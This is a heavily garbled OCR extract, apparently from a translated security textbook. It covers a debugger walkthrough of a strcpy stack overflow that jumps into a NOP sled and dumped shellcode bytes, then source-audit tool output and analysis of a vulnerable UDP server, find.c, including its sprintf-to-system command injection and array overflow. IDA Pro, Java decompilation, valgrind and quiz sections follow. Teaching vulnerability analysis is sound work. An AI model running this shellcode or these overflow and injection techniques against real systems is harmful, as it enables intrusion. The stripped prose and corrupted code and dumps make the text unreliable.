nmeet ! greeti ng+0x14:

00401034 e8f 7000000 call meet ! strcpy (00401130)

0: 000> k

Chi | dEBP Ret Addr
0012f ecc 00401076 neet! greeti ng+0x14
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0012f edc 004013a0 neet! mai n+0x16
0012ffcO 77e7eb69 neet! mai NCRTSt art up+0x170
0012fff 0 00000000 kernel 32! BaseProcessSt art +0x23

strcpy

0: 000> p
eax=0012f d3c ebx=7f f df 000 ecx=00320f 7c edx=f df df dOO esi =7f f debf 8
edi =00000018

ei p=00401039 esp=0012f d34 ebp=0012f ecc i opl =0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 ef 1 =00000246
meet ! greeti ng+0x19:

00401039 83c408 add esp, 0x8

0: 000> k

Chi | dEBP Ret Addr

0012f ecc 0012f d44 neet! greeti ng+0x19

WARNI NG Frame | P not in any known nodul e. Fol | owi ng Frames nay be w ong.
90909090 00000000 0Ox12fd3c

strcpy nopsed shellcode
0: 000> db 0012f d44
0012fd44 90 90 90 90 90 90 O 90-90 90 90 90 90 90 90 90 ................
0012fd54 d9 ee d9 74 24 f4 5b 31-c9 bl 29 81 73 17 4b 98 ...t$.[1l..).s.K
0012fd64 fd 17 83 eb fc e2 f4 b7-70 ab 17 4b 98 ae 42 1d ........ p.. K .B

0012fd74 cf 76 7b 6f 80 76 52 77-13 a9 12 33 99 17 9c 01 .v{o.VvRw...3....
0012fd84 80 76 4d 6b 99 16 f4 79-d1 76 23 cO 99 13 26 b4 .VvMK...y.v#. .. &

0012fd94 64 cc d7 e7 a0 1d 63 4c-59 32 la 4a 5f 16 e5 70 d..... cLY2.J_..p
0012fda4 e4 d9 03 3e 79 76 4d 6f-99 16 71 cO 94 b6 9c 11 ...>yvM..q.....
0012fdb4 84 fc fc cO 9c 76 16 a3-73 ff 26 8b c7 a3 4a 10 ..... V..s. & ..J.

nop shellcode
cac shellcode

0: 000> g

Hello M. JeJt$ f [lus|6A--a8T [snip]

Breakpoint 1 hit

eax=000001a2 ebx=7ffdf 000 ecx=00415b90 edx=00415b90 esi =7ffdebf8
edi =00000018

ei p=00401057 esp=0012f ed0 ebp=90909090 i opl =0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 ef 1 =00000206
nmeet ! greeti ng+0x37:

00401057 c3 ret

0: 000> p

eax=000001a2 ebx=7ffdf 000 ecx=00415b90 edx=00415b90 esi =00080178
edi =00000000
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ei p=0012f d44 esp=0012f ed4 ebp=90909090 i opl =0 nv up ei pl nz na po nc
cs=001b s$s=0023 ds=0023 es=0023 fs=0038 gs=0000 ef 1 200000206
0012f d44 90 nop
0: 000>

nop calc cac
shellcode
shellcode
11.2
¢ Microsoft
® Microsoft cl.exe cdb.exe  ntsd.exe
[ ]
1Zi

. _NT_SYMBOL_PATH Microsoft
¢ Windows Linux
¢ Windows Linux
e Metasploit Web  shellcode
e Metasploit  shellcode shellcode
[ ]

1. ep

2. shellcode

3.

4,
° Windows  Linux Perl

11.2.1

1. NTSD CDB

A.NTSD



1

Windows

B.CDB

C.NTSD

D. CDB NTSD
2. Windows

A. cl /GS code.c
C. cl /FA code.pdb code.c

3. Windows
A. cl.exe B. gflags.exe
4,
A. PATH B. SYMBOLS
5.
A.-g B.-G
6.  Windows
A.esp ebp eip
B. esp eip ebp
C.ebp esp ep
D.esp ebp eip
7. x86
A. 0x41 B. 0x90
8. Perl

A. system() B. exec()
11.2.2

1. C NTSD
CDB NTSD B

B. cl /Zi IMLd code.c
D. cl /w code.c

C. symsrv.dil

C.C\SYMBOLS

C.-x D.-p
nop

C.0x11 D. 0x00

C. run() D. open()

D CDB

D. ntsd.exe

317

D. NT_SYMBOL_PATH

CDB
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2. B /zi A C D
/IGS  Microsoft
Iw IFA PDB
3. D A B C
4. D _NT_SYMBOL_PATH A B
C C\SYMBOLS
5 A g B C D
-G - X first-chance exception -p
6. D esp ebp eip
ep A B C
7. B nop 0x90 A 0x41
A C D nop 0x00
strcpy  sprintf - strcat
8. B exex() A system()
exec) C D
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12.1

1201 f

1201 f

Digital Millennium Copyright Act DMCA DMCA
13 ” DMCA
MP3 DRM Digital Rights Management
DMCA
DMCA
1201 j 1201 f
1201 j
DMCA 2

[1] Digital Millennium Copyright Act http://thomas.loc.gov/cgi-bin/query/
z?c105:H.R.2281.ENR:
[2] DMCA Related Cases  www.eff.org/IPP/DRM/DMCA/

12.2
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Joe Coder Web

C/IC++

12.3
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12.3.1

Splint
ITHA

find.c

rats-c.xml

# ./lrats -i
Entries in c database:
Anal yzing find.c
find.c:46: High
Check to be sure that the non-constant format string passed as argument 2
tothis function call does not cone froman untrusted source that coul d have
characters that the code is not prepared to handl e

RATS

RATS

ITS4 RATS FlawFinder

RATS HawFinder

ITS4 RATS FlawFinder

RATS

RATS

FlawFinder
Perl PHP  Python
find.c UDP
find.c RATS

-w1l -drats-c.xnm find.c

added formatting

Hi gh:
Hi gh:
H gh:
H gh:
H gh:
H gh:
H gh:
H gh:

fi
fi
fi
fi
fi
fi
fi
fi

xed
xed
xed
xed
xed
xed
xed
xed

S
S
s
s
s
S
Si
Si

ze
ze
ze
ze
ze
ze
ze
ze

310

vfprintf

| ocal
| ocal
| ocal
| ocal
| ocal
| ocal
| ocal
| ocal

buf f er
buf f er
buffer
buffer
buffer
buf f er
buf f er
buf f er

Extra care shoul d be taken to ensure that character arrays that are al |l ocat ed
on the stack are
att acks.

find.c:122: High:
find.c:513: High:

used safely.

sprintf
sprintf
Check to be sure that the format string passed as argunment 2tothis function

They are prime targets for buffer overfl ow
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cal | does not cone froman untrusted source that coul d have added formatting
characters that the codeis not preparedto handle. Additionally, the fornat
string could contain %%’ w thout precision that could result in a buffer
overfl ow.

find.c:524: Hi gh: system

Argunent 1 to this function call should be checked to ensure that it does
not cone froman untrusted source without first verifying that it contains
not hi ng danger ous.

find.c: 610: recvfrom

find.c 119:

find.c 164:

find.c 165:

find.c 166:

find.c 167:

find.c 172:

find.c 179:

find.c 547:

Doubl e check to be sure that all input accepted froman external data source

does not exceed the limts of the variable being used to holdit. Al so nake
sure that the input cannot be used i n such a manner as to al ter your program s
behavi or in an undesirable way.

Total |ines analyzed: 638
Total time 0.000859 seconds
742724 1ines per second

RATS
find.c sprintf 172

RATS

Splint C Lint
Splint

325
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Splint Splint
Splint Splint
Splint
Splint Splint

Splint

12.3.2

strepy()
strepy() strncpy () strepy()

strepy()  strnepy()

S strepy()
x@ strnepy()
—
strncpy()
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12.3.3
C
J argv
o getenv()

U] read(), fscanf(), getc(), fgetc(), fgets(), viscanf()



U] /stdin  read(), scanf(), getchar(), gets()

U] read(), recv(), recvfrom()
stdin Unix socket
dup() dup2() socket stdin
C/IC++ 01 2 stdin
stdout stderr dup2() stdin
socket
socket

getchar()  gets()

find.c ITSA

# ./its4 -m-v vulns.i4d find.c

find.c:482: read

find.c:526: read

Be careful not to introduce a buffer overflow when using in a | oop.
Make sure to check your buffer boundaries.

find.c:610: recvfrom
Check to nmake sure malicious input can have no ill effect.
Carefully check all inputs.

Web
URL get URL post
get post
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find.c
find.c ITSA
recvfrom() UDP
Char buf[65536]; /1 udp
int sock, pid; /I socket id
sockaddr _in fsin; /1 socket
/1.
/] socket
/1.
while (1) { /1
unsigned int alen = sizeof(fsin); /1 UDP
if (recvfrom(sock, buf, sizeof(buf), O,
(struct sockaddr *)& sin, &len) < 0) {
/1
exit("recvfrom 9%s\n", strerror(errno));
}
pid = fork(); /1fork
if (pid==0) { /1 pid O
manage_r equest ( buf, sock, &fsin); /1
exit(0); /1
}
}
recvfrom() UDP
recvfrom() fork manage_request()

manage_request()
manage_request()

162: voi d manage_r equest (char *buf, int sock
163: struct sockaddr_in* addr) {
164: char init_cwd[1024];

165: char cmd[ 512] ;

166: char outf[512];

167: char repl ybuf [ 65536] ;

168: char *user;

169: char *passwor d;

170: char *fil enane;

171: char *keywor d;

172: char *envstrings[ 16] ;

173: char *id;

174 char *field;
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175: char *p;
176: i nt i;
RATS
buf UDP 65535 65535
UDP
65535
replybuf
envstrings
key=vaue
id sone_id_val ue\n
user sone_user_nane\n
password some_users_password\n
filename sone_fil enanme\n
keyword sone_keywor d\ n
environ key=val ue key=val ue key=value ...\n
key
\n \0 NULL
key \n
environ environ
p
envstrings[0] = NULL; /1
if (!'strncnp("environ", p, strlen("environ")))({
field = menchr(p, * ', strlen(p)); 11l
if (field == NULL) { I
reply(id, "missing environment value", sock, addr); return;
}
field++ /1 key
i = 0; 1/ envstrings
while (1) { I
envstrings[i] = field; I envstring

p = menchr(field, ' ', strlen(field)); //
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if (p == NULL) {

p = menchr(field, "\n,

if (p == NULL) {

I
strlien(field));

reply(id, "mal forned environnent value", sock, addr);
return;
}
*p ='\0"; I envstring
i ++; 1/ envstring
br eak; 1/
}
*p = '\0"; /1 envstring
field = p + 1; /1 envstring
i ++; I envstring
}
envstrings[i] = NULL; /1
}
environ envstrings putenv()
key=vaue environ
while
i envstrings 16
16 envstrings
envstrings
/ 67600 envstrings
4 67600/4=16900
key=value
16918 X=y
4
67672 UDP
16919 environ
UDP shellcode shellcode
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[1]
[2]
[3]
[4]

12.4

12.5

CIC++

RATS  www. securesoftware. com/security tools download.htm

ITS4  www.cigital.com/its4/
FlawFinder ~ www. dwheeler. com/flawfinder/
Splint  www.splint.org

Delph  Java
BugScam

BugScan
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stub

UPX Ultimate
Packer for eX ecutables

12.5.1 BugScam

BugScam Halvar Flake IDA Pro Interactive Disassembler
Professional from DataRescue IDA Pro
IDA IDA
IDA IDA
BugScam HTML
IDA Pro
BugScam IDA Pro IDA
BugScam find.c

Code Analysis Report for find

Thisisanautonatical lygeneratedreport onthefrequency of m suse of certain
known-t o- be-probl ematic library functions in the executable file find. The
contents of this file are automatically generated using sinple heuristics,
thus any reliance on the correctness of the statements inthis fileis your
own responsibility.

General Sunmary

Atotal nunber of 7 library functions were anal yzed. Counting all detectable
uses of these library calls, a total of 3 was analyzed, of which 1 were
identified as problenatic.

The complete list of problens Results for .sprintf

The following tabl e sumarizes the results of the analysis of calls to the
function .sprintf.
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Address Severity
8049a8a 5

12.5.2 BugScan

Description

The maxi num expansi on of the data appears to be
| arger than the target buffer, this mght be the
cause of a buffer overrun !

Maxi mum Expansi on: 1587 Target Size: 512

BugScan HBGary
Web $20000 BugScan Linux
Windows C/C++
BugScan XML
IDA Pro
BugScan find.c HTML
Name
>< Previous Next >
Name Sev  Risk Description

no stack protection 1

Sprintf 1

remote exploitation

overflow

Visual Studio .NET (7.x) contains an option in its
unmanaged C++ compiler to enable a "Buffer Security
Check." This option, also known as “stack canaries,”
helps reduce the exploitation potential of stack-based
buffer overflows. Thisis global to the whole binary and is
not location-specific like other signatures. The scanned
program was found to not contain the Buffer Security
Check.

Code Sample. Replace this call with the more secure call,
snprintf. snprintf is a variant of sprintf where the user
explicitly specifies the length of the destination buffer.
This feature helps avoid the possibility of the destination
buffer being written past. Though not officially a part of
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Sprintf 2 overflow
Crypt 2 poor randomness
find Linux
sprintf()

[1] UPX  http://upx.sourceforge.net/

the 1SO C99 standard, this cal is available in most
modern compilers. Two problems can still persist: format
string bugs and specifying an incorrect length for the
destination buffer. The call backtraces to a location that
received data from the network. This increases the risk
that user-supplied datais being used in this call.
Code Sample. Replace this call with the more secure call,
snprintf. snprintf is a variant of sprintf where the user
explicitly specifies the length of the destination buffer.
This feature helps avoid the possibility of the destination
buffer being written past. Though not officially a part of
the ISO C99 standard, this call is available in most
modern compilers. Two problems can till persist: format
string bugs and specifying an incorrect length for the
destination buffer.
Replace this code with a cryptographically strong random
number generator that uses sufficient entropy.

>< Previous Next >

>Reprinted with permission of HBGary

[2] BugScam http://sourceforge.net/projects/bugscam

[3] BugScan  www.hbgary.com

12.5.3

335
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Java
/ Java
Java Java JavaVirtual Machine JVM
Java Java
VM
Java Java JReversePro
Jad Mocha DJ
Java
Java
PasswordChecker

public class PasswordChecker {
publ i ¢ bool ean checkPassword(String pass) {
byte[] pwChars = pass. getBytes();
for (int i =0; i < pwChars.length; i++) {
pwChars[i] +=i + 1;

}
String pwPlus = new String(pwChars);
return pwPl us. equal s("qcvw uyl ") ;

}

JReversePro Java Java
PasswordChecker.class JReversePro
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11
11
11
11
11
11

I
11
I
11
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JReversePro v 1.4.1 Wed Mar 24 22:08:32 PST 2004

http://jrevpro. sourceforge. net

Copyright (C)2000 2001 2002 Karthi k Kunar.

JReversePro comes with ABSOLUTELY NO WARRANTY;

This is free software, and you are welcone to redistribute

it under certain conditions; See the File 'COPYING for nore details.

Decompi | ed by JReversePro 1.4.1

Home : http://jrevpro.sourceforge. net
JVM VERSI ON:  46. 0

SOURCEFI LE: Passwor dChecker. j ava

public class PasswordChecker {

publ i ¢ Passwor dChecker ()

{
return;
}
publ i ¢ bool ean checkPassword(String string)
{
byte[] iArr = string.getBytes();
int j =0;
String string3;
for (;j <iArr.length;) {
PArr[j] = (byte)(TArr[j] +j + 1);
j ++;
}
string3 = new String(iArr);
return (string3.equal s("qcvw uyl"));
}

JReversePro
JReversePro
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00
00
69
01
6C
72
2F
72
72
09
6C
01
01
65
62
01
00
61

FE
03
03
74
00
65
64
53
63
64
00
61
00
00
72
6A
00
06
2F

Java

Java

BA
00
00
3E
OF
01
01
74
65
43
0A
6E
08
OF
01
65
04
65
6C

i386 DOS

BE
12
16
01
4C
00
00
72
46
68
oC
67
71
50
00
63
28
71
61

00
07
07
00
69
(0]D]
15
69
69
65
00
2F
63
61
10
74
29
75
6E

JReversePro

00
00
00
03
6E
63
28
6E
6C
63
19
53
76
73
6A
01
5B
61
67

00
13
17
28
65
68
4C
67
65
6B
00
74
77
73
61
00
42
6C
2F

2E
0A
07
29
4E
65
6A
3B
01
65
1A
72
7C
77
76
08
01
73
4F

Desquirr

00
00
00
56
75
63
61
29
00
72
01
69
75
6F
61
67
00
01
62

1E
03
18
01
6D
6B
76
5A
14
2E
00
6E
79
72
2F
65
05
00
6A

0A
00
01
00
62
50
61
01
50
6A
10
67
6C
64
6C
74
28
15
65

00
14
00
04
65
61
2F
00
61
61
6A
oC
oC
43
61
42
5B
28
63

08
08
06
43
72
73
6C
0A
73
76
61
00
00
68
6E
79
42
4C
74

00
00
3C
6F
54
73
61
53
73
61
76
09
1C
65
67
74
29
6A
3B

Java

11
15
69
64
61
77
6E
6F
77
ocC
61
00
00
63
2F
65
56
61
29

0A ...
0A ...
6E ... <in
65 it>..()V...Code
62 ... Li neNunber Tab
6F | e...checkPasswo
67 rd...(Ljaval/l ang
75 /String; ) Z. Sou
6F rceFile...Passwo
00 rdChecker.j ava..
2F j aval
1B lang/ String.....
1D co.gevw uyl ..
6B ... Passwor dCheck
4F er...javal/lang/ O
73 bj ect...getBytes
01 ... 0O IB . ([BW
76 ..equals...(Ljav
5A a/l ang/ oj ect;)Z
C/C++
Dcc
IDA Pro
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Windows
Linux Unix

IDA Pro

IDAPro DataRescue Inc

IDA
IDA
idb
IDA Pro
call strcpy
call sub_8048A8C
C/C++

339

PE Portable Executable

ELF Executable and Linking Format

[Ifak Guilfanov

IDA Pro

8048A8C

IDA

I dentification and Recognition Technology

FLIRT

IDA

IDA

IDA
IDA

IDA

FLIRT Fast Library
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* ASCIl  Unicode
®
. IDA
[ )
4 Windows
IDA Pro
IDA 12.1
IDA IDA Windows
PE x86 IDA
IDA jump  cal
IDA

Load a new file

Load file C:A\GrayHathwedatant. sys az

Po able for 1BM PC [FE]
MS-D05 executable [EXE] [dos. Idw]
Binary file

Processor type

Intel 80x86 processors: metapc v

’ Analysiz
Loading zegment Enabled
Loading offset Indicator enabled

Options

[ Load resources

Kemel optionz1
Fiename DLL entries 0
[ Manual lnad F.emel options2

System DLL directary | CNWINDOWS

[ ak ] I Cancel ] I Help

121 IDA Pro

IDA cal ret
IDA
IDA
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IDA
IDA
12.2 IDA
EDA A
text:@8615CEE start proc near -
text:00815CEE
text:00015CEE var_68 = dword ptr -62h
text:80815CEE SumboliclinkHame= UNICODE_STRING ptr -68h
text:BOB15CEE DeviceNane = UNICODE_STRING ptr -58h
text:80815CEE SourceString = word ptr -58h
text:00015CEE var_2C = dword ptr -2Ch
text:00015CEE arg_ B = dword ptr &4
text:80815CEE
* text:B80815CEE sub esp, 66h
* text:B808815CF1 mov ecx, 2
* text:000815CF6 push esi
* text:008015CF7 push edi
* text:00815CF8 moy esi, offset aDeviceUsdatant
* text:00015CFD lea edi, [esp+G8h+SourceString]
* text:00815061 rep movsd
* text:00015D03 nousu
* text:008815D85 nov ecx, Bah
* text:-00015D0A mou esi, offset aDosdevicesUsda
* text:00815D0F lea edi, [esp+68h+var_2C]
* text:000815D13 rep movsd
* text:086815D015 novsy
* text:00015D17 noy esi, [esp+G@h+arg 0]
* text:008815D1B moy DriverObject, esi
* text:-08615D21 call sub_27BAO v
.
. I ¥
B
12.2 IDA Pro
IDA var XXX XXX
arg_ XXX XXX
12.2
IDA API
IDA
12.3
IDA IDA
IDA Pro
IDA
IDA
IDA

Esc Web Back
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E[IDA View-A
* .text:88815D3F push offset DeviceObject ; int
* .text:08815D44 call sub_ 14758
* .text:00615D49 mov edi, eax
* .text:00015D4E test edi, edi
* .text:88815D4D jl loc_15EBS
* .text:08015D53 nov edi, ds:RtlInitUnicodeString
* .text:88815D59 lea ec®, [esp+74h+SymbolicLinkName .Buffer]
* _text:@eeg15Dp5D lea edx, [esp+106h]
* .text:88815D61 push ecx 5 SourceString
* .text:88815D62 push edx ; DestinationString
* .text:88815D63 call edi ; RtlInitUnicodeString
* .text:88815D65 lea eax, [esp+3Ch]
* .text:88815D69 lea ecx, [esp+8]
* .text:88815D6D push eax ; SourceString
* .text:88815D6E push ecx ; DestinationString
* .text:88815D6F call edi ; RtlInitUnicodeString
* .text:@8815D71 lea edx, [esp+16h]
* .text:@88815D75 lea eax, [esp+8]
* .text:@88815D79 push edx ; DeviceName
* .text:@88815D7A push eax 5 SymbolicLinkMame
* .text:@88815D7B call ds:IoCreateSymbolicLink
“ _text:@88615D81 nouv edi, eax
* .text:08015D83 nov eax, offset Dispatch
“ _text:00615D88 test edi, edi
* .text:08015D8A nov [esi+BAkh], eax 2
< >
12.3
Edit
Edit | Operand Type
Edit | Array 124 125
structures View | Open Subviews | Structures Edit |
Struct Var 12.6
IDA sa sockaddr_in

hostent hostent
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g Stack of start

FFFFFFD2

var_2C

<
SP-+000000354

=
=
[ T O . N U0, . N g et

Stack of

stant

var_68 dd 7
FFFFFFOC db 7 |
db 7
db ?
db 7
SymbolicLinkName UNICODE_STRING 7
DeviceNane UNICODE_STRING %
SourceString dw 18 dup{?)
var_2c dw 22 dup(?)
v
arg_8 dd 7
£
SP+00000004

343

12.4

12.5

Structures
#
B @B x
aoaaeana -~
sockaddr_in struc
sin_family duw ?
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup(?)
sockaddr_in ends
hostent struc
h_name dd ?
h_aliases dd ?
h_addrtype dd ?
h_length dd %
h_addr_list dd ?
hostent ends
w
£ >
1. sockaddr_jn:0000
i IDA View d
B04A28Y Loc_BOLA28L: 5 CODE XREF: main+28BTj &
N 864AZ8Y sub esp, &
N 864A287 push 16
864A289 lea eax, [ebp+sa]
N 864A28C push  eax
* 18 64A28D call _bzero
N 864A292 add esp, 160
884A295 nov eax, [ebp+hostent]
864298 nou ax, word ptr [eax+hostent.h_addrtype]
* 1864A29C nov [ebp+sa.sin_family], ax
* 8B4AZAB novzx eax, cport
N 884AZAT sub esp, 6Ch
8OBAZAR push  eax
- 18 64A2AB call _htons
N 864AZB0 add esp, 160
N 864A2B3 nov [ebp+sa.sin_port], ax
864AZBT nou [ebp+sa.sin_addr], 0
8 64A2BE sub esp, 4
N 884AZC1 push )
N 884A2C3 push 1
884AZCS nou eax, [ebp+hostent]
- I864A2C8 push dword ptr [eax+8]
* 8 04AZCE call _socket
364208 add esp, 16h

<

-text:88848A2D3

nou

[ebp+sock], eax

v

12.7



C/C++ sockaddr_in  hostent
sockaddr_in IP hostent
CIC++ DNS
0804A2C8 0804A 298
hostent
IDA Pro
IDA Pro
IDA Pro
API
®
®
®
®
®
find.c
find.c sprintf() IDA Pro

12.8 08049A8A
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-text:08049A4L ~
-text:B8049A4L loc_ BO49ALL: ; CODE XREF: manage_request+A
* .text:08849ALYL sub esp, 4
* .text:e80u9ANT push ds:pid
* .text:B8049ALD push offset aTmpFifhd_D
* .text:p8049A52 lea eax, [ebp+outf]
* .text:B8B49AS8 push eax
* .text:08049A59 call _sprintf
* .text:B8B49ASE add esp, 168h
* .text:08049A61 sub esp, 8
* _text:BBBUPAGYH lea eax, [ebp+outf]
© .text:08049A6A push eax
* .text:08049A6B push [ebp+keyuord]
© .text:B8849A71 push [ebp+filename]
* .text:e80uIATT 1lea eax, [ebp+init_cwd]
* .text:B8849A7D push eax
* .text:08049ATE push offset aFindSHameSExec
* .text:B8049A83 lea eax, [ebp+cmd]
* .text:08049A89 push eax
* .text:B8049A8A call _sprintf
* .text:08049A8F add esp, 26h
* .text:e80u9A92 sub esp, 6Ch
* .text:B8B49A0S lea eax, [ebp+cnd]
* .text:e8049A9B push eax
* .text:B8849A9C call _system w
< >
12.8 sprintf()
IDA
C C sprintf()
sprintf()
int sprintf(char *str, const char *format, ...);
sprintf()
format
sprintf()
sprintf() str sprintf()
push
sprinf() 08049A59 6 push push
str: cmd
format: "find % -nane \"%\" -exec grep -H-n % \\{\\} \\; > %"
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stringl: init_cwd
string2: filenane
string3: keyword
string4: outf
4 4 12.8 08049A64 08049A77
08049A83 lea Load Effective Address outf
init. cwd cmd filename  keyword
sprintf()
cmd
manage_request() sprintf()
12.9
& Stack of manage request
envstrings dd 16 dup(?) ~
keyword dd 7
filename dd ?
password dd 7
user dd %
replybuf db 65536 dup(?)
outf db 512 dup(?)
FFFFF9F8 cmd db 512 dup(?)|
init_cuwd db 1832 dup(?)
C
buf dd
sock dd ?
addr dd ?
< b4
SP-+O0010290

12.9 manage_request

129 cmd 512 cmd 00000004
1032 init_cwd sprintf() 1552
512 cmd 1032 init cwd 4 4
cmd sprintf() C
sprintf(cnd,

"find % -nane \"%\" -exec grep -H-n % \\{\\} \\; > o",
init_cwd, filename, keyword, outf);

find.c
filename  keyword UDP
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filename  keyword sprintf()

manage_request() filename

cmd

1552 filename
filename 13 init_cwd
filename manage_request() init_cwd

.text: 08049A12 push 1024

.text: 08049A17 | ea eax, [ebp+init_cwd]
.text: 08049A1D push eax

.text: 08049A1E call _getcwd

init_cwd 129
init_cwd 1024 1032 IDA

IDA “ oo init_cwd
find

init_cwd shellcode

shellcode filename

init_cwd filename  shellcode init_cwd

filename
shellcode init_cwd 4

UDP 4 4 filename 1 4

[1]
[2]
[3]
[4]
[5]
(6]
[7]
(8]

JRevPro http ://sourceforge. net/pro j ectsj revpro/

Mocha  www.brouhaha.com/~eric/computers/mocha.html

Jad  www.kpdus.com/jad.html

DJ http://members.fortunecity.com/neshkov/dj.html

The Dcc Decompiler  www.itee.ug.edu.au/~cristina/dcc.html

Desquirr  http://desquirr.sourceforge.net/desquirr/

IDAPro  www.datarescue.com/idabase/

Pentium References  www.intel.com/desi gn/Pentium4/documentati on.htm#man

347
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12.6

o
>
> DMCA

o
>

o
>
>

o
>
>

o
>
> IDA Pro

12.6.1

1.
A. B
C. D

2. Digital Millennium Copyright Act

MP3

o0 wp
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<ooJd0o

sprintf()

strepy()

<ooJd0o

<ooJdno

IDA Pro

<ooJd0o

C++

<ooJdno
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o0 wp

12.6.2

A C D

A B
Cc
6. B IDA Pro A CD IDA
Pro
7. D

c CH++
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13.1

U] end-user license agreements  EULA

zero day exploit

13.2
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Bug

“ " stresstesting
fuzzing

13.3

Murphy 's Law

353
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hook
[ ]
[ ]
[ ]
[ ]
[ ]
13.3.1
CPU
fork
fork
fork ID
fork
fork
fork
fork
fork
fork
/ fork

fork
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355
attach
GUI File|Attach
attach ID ID
ps
fork

fork

ID
GNU gdb follow-fork-mode

gdb follow-fork-mode parent child ask fork

gdb

gdb  follow-fork-mode

core dump
CPU

0
Linux bash shell

# ulimt -c unlimted

Oleh Yuschuk OllyDbg  WinDbg Microsoft



356
Windows

Linux

13.3.2

13.3.3

13.3.4

IDA Pro
IDA

Compuware

gdb  Unix/Linux

Windows

Xrefs From cross-references from

”

sub_804882F

IDA

sub_804882F

IDA
13.1

Softlce

IDA
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sub_804882F

357

sub_80487C0

sub_80487EB

.sprintf

.strlen

.send

13.1 sub_804882F

131
IDA

" 132

IDA

Xrefs To

send

start

sub_8048A49

Y

sub_804892E

sub_804882F

sub_80487C0

.send

13.2 send
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13.2
IDA Pro 133
sub_80487EB:
push ebp
mov ebp, esp
sub esp, 4
mov eax, [ebp+arg 0]
cmp byte ptr [eax], 2Fh
jnz short loc_8048802
false true
7080487F9: loc_8048802:
mov [ebp+var_4], | nop
jmp short loc_804882A ¢
loc_8048803:
mov eax, [ebp+arg 0]
cmp byte ptr [eax],0
jnz short loc_804880D
| | t
' |
false true
70804880B:
jmp short loc_8048823 |oc_804880D:
mov eax, [ebp+targ 0]
cmp byte ptr [eax], 80h
jbe short loc_80488IE
loc_8048823: ‘—‘
mov [ebp+var_4],0 false true
708048815: loc_80488IE:
mov [ebp+var_4], | inc [ebp+arg 0]
jmp short loc_804882A jmp short loc_8048803
A 4
loc_804882A:
mov eax, [ebp+var_4]
leave
retn
13.3 IDA  sub_80487EB

tracking

reverse data
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forward data tracking

13.3.5

° free

359

valgrind

valgrind
valgrind x86
x86
valgrind
valgrind valgrind
| *
* valgrind_1l.c -
*/

int main() {
int p, t;
if (p==5) { /*

x86 Linux

*/
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}

return

p+ 1

0;

valgrind

# gcc -o valgrind_1 valgrind_1.c
# valgrind ./valgrind_1

valgrind
==16541== Mentheck, a.k.a. Valgrind, a menory error detector for x86-1Ii nux.
==16541== Copyright (C 2002-2003, and GNU GPL’'d, by Julian Seward.
==16541== Using valgrind-2.0.0, a program supervision framework for
x86-1i nux.
==16541== Copyri ght (C) 2000-2003, and GNU GPL'd, by Julian Seward.
==16541== Estimated CPU cl ock rate is 3079 Mz
==16541== For nore details, rerun with: -v
==16541==
==16541== Conditional junp or nove depends on uninitialised val ue(s)
==16541== at 0x8048328: main (in valgrind_1)
==16541== by OxB3ABBE: _ libc_start_main (in /lib/libc-2.3.2.s0)
==16541== by 0x8048284: (wi thin valgrind_1)
==16541==
==16541== ERROR SUMVARY: 1 errors from 1l contexts (suppressed: O from 0)
==16541== mal loc/free: in use at exit: O bytes in O bl ocks.
==16541== nalloc/free: 0 allocs, 0 frees, O bytes allocated.
==16541== For a detailed |l eak analysis, rerun with: --1leak-check=yes
==16541== For counts of detected errors, rerun with: -v
16541  valgrind ID pid
valgrind memcheck
valgrind p
valgrind
ERROR SUMMARY
valgrind
/*

* valgrind_2.c -

*/

int main()

#i ncl ude <stdlib. h>

{
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int *p, a;

p = malloc(10 * sizeof(int));

p[ 10] = 1; /* */

a = p[10]; /* */

free(p);

return O;
}

valgrind
==16571== Invalid wite of size 4
==16571==  at 0x80483A2: main (in valgrind_2)
==16571== by Ox398BBE: __libc_start_main (in /lib/libc-2.3.2.5s0)
==16571== by Ox80482EC. (within valgrind_2)
==16571==  Address 0x52A304C is 0 bytes after a block of size 40 alloc’'d
==16571== at Ox90068E: numlloc (vg_replace_malloc.c: 153)
==16571== by 0x8048395: main (in val grind_2)
==16571== by Ox398BBE: _ libc_start_main (in /lib/libc-2.3.2. 5s0)
==16571== by Ox80482EC. (within val grind_2)
==16571==
==16571== Invalid read of size 4
==16571==  at Ox80483AE: main (in valgrind_2)
==16571== by Ox398BBE: _ libc_start_main (in /lib/libc-2.3.2.50)
==16571== by Ox80482EC. (within valgrind_2)
==16571==  Address 0x52A304C is 0 bytes after a block of size 40 alloc’'d
==16571== at O0x90068E: numlloc (vg_replace_malloc.c: 153)
==16571== by 0x8048395: main (in valgrind_2)
==16571== by Ox398BBE: _ libc_start_main (in /lib/libc-2.3.2. s0)
==16571== by Ox80482EC. (within valgrind_2)
==16571==
==16571==  ERROR SUMMARY: 2 errors from2 contexts (suppressed: 0 fromO0)
==16571== malloc/free: in use at exit: 0 bytes in 0 bl ocks.
==16571== malloc/free: 1 allocs, 1 frees, 40 bytes all ocated.
==16571== For a detailed |leak analysis, rerun with: --|eak-check=yes
==16571==  For counts of detected errors, rerun with: -v
valgrind free
/*
* valgrind 3.c - / free

*/
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#i ncl ude <stdlib. h>

int main() {

int *p;

p = (int*)malloc(10 * sizeof(int));

p = (int*)malloc(40 * sizeof(int)); /1

free(p);

free(p); I free

return O;
}

free
free free
valgrind
# val grind --1eak-check=yes ./valgrind_3
free LEAK SUMMARY 40

==16584== Invalid free() / delete / delete[]

==16584==
==16584==
==16584==
==16584==
==16584==
==16584==
==16584==
==16584==
==16584==
==16584==
==16584==
==16584==
==16584==
==16584==
==16584==
==16584==
==16584==
==16584==
==16584==
==16584==
==16584==
==16584==

at 0xD1693D: free (vg_replace_nmalloc.c:231)

by 0x80483C7: nmmin (in valgrind_3)

by O0x126BBE: _ _ |ibc_start_main (in /lib/libc-2.3.2.s0)

by O0x80482EC:. (within valgrind_3)

Addr ess 0x47BC07C is O bytes inside a block of size 160 free'd
at 0xD1693D: free (vg_replace_nalloc.c: 231)

by 0x80483B9: main (in val grind_3)

by Ox126BBE: _ _ libc_start_main (in /lib/libc-2.3.2. s0)

by Ox80482EC. (wi thin val grind_3)

ERROR SUMVARY: 1 errors from1l contexts (suppressed: 0 fromO0)
mal loc/free: in use at exit: 40 bytes in 1 bl ocks.

mal loc/free: 2 allocs, 2 frees, 200 bytes all ocated.

For counts of detected errors, rerun with: -v

searching for pointers to 1 not-freed bl ocks.

checked 4664864 byt es.

40 bytes in 1 blocks are definitely lost inloss record 1 of 1
